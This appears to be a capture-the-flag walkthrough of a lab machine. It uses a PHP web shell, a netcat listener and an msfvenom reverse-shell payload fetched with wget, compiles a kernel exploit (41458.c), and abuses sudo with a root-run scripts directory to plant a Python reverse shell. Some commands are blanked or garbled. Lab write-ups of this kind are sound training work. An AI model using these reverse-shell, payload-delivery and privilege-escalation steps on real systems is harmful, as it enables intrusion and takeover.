Machine ip —


80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel’s Development Site
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:
Uptime guess: 0.857 days (since Sun Sep 22 10:45:27 2019)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros

Here we get to see that only port 80 seems to be open now let’s enumerate on http

Visited http page doesn’t seems to me giving more information to us

Let’s start with directory ( used dirsearch )

Here we found

dirsearch -u -e/

After moving further we found that /dev/ directory is having 2 php files and on running them they gives us shell of user “WWW-DATA”


here we find that it’s giving us a web terminal where we can use it for gathering information

Here when we give commands at bottom of the page it gives us output at the main screen , let’s try using nc to get a reverse shell on our local pc

As we can see that we are unable to get a shell as it’s giving us errors for the “e” option , but there are many alternate ways to get a reverse shell let’s try them ….

Here first let’s start a reverse nc listener at out local pc

nc -nvlp 1234

And let’s try alternate way to take a reverse shell , creating the reverse shell payload with msfvenom

msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=1234 -f elf > shell.elf

Then wget it to our target pc , then give it permission to execute chmod 777 shell.elf then run it ./shell.elf

And here we get our reverse shell

Here we used to find some vulnerability for privilege escalation , using this we found that machine is having a kernel exploit and then we used 41458.c and then we got see that the target machine is not having GCC compiler on it so that we can compile it so we compile the exploit on our local pc then transferred the compiled exploit to machine and then run it

Usage :-

1. gcc poc.c -o pwnthen wget the pwn file form attacker pc to target pc 
python -m SimpleHTTPServer 80 - attacker pc
wget - target pc
then use ./pwn

And here we get the root shell

Got root.txt

…………………………….2nd way to exploit………………………………..

SECOND WAY — using sudo command

Here we can see that www-data user can use sudo command using the user scriptmanager , and when we see the / directory there is a new directory scripts as we are having sudo command to use scriptmanager user as per our utilization let’s see what does scripts directory contains

sudo -u scriptmanager ls -la /scripts 

And now when we run pspy32 to see what is this directory doing in background

Here we can see that whatever file scripts directory contains in it having .py extension so now let’s create a python reverse shell file and then place it at scripts directory and then let’s wait for the root to run ,

We can place our python file , you can script at and change your ip and port in the script

Then get this to our victim pc using wget then move our python script to scripts directory so that it can run and we can get a reverse shell of root

Now let’s move this file to our scripts directory using

sudo -u scriptmanager cp /tmp/ /scripts/

And start our nc at giver port in the script

Here we got the root

THANKYOU !!!!!!!!!

Security Researcher, Penetration Tester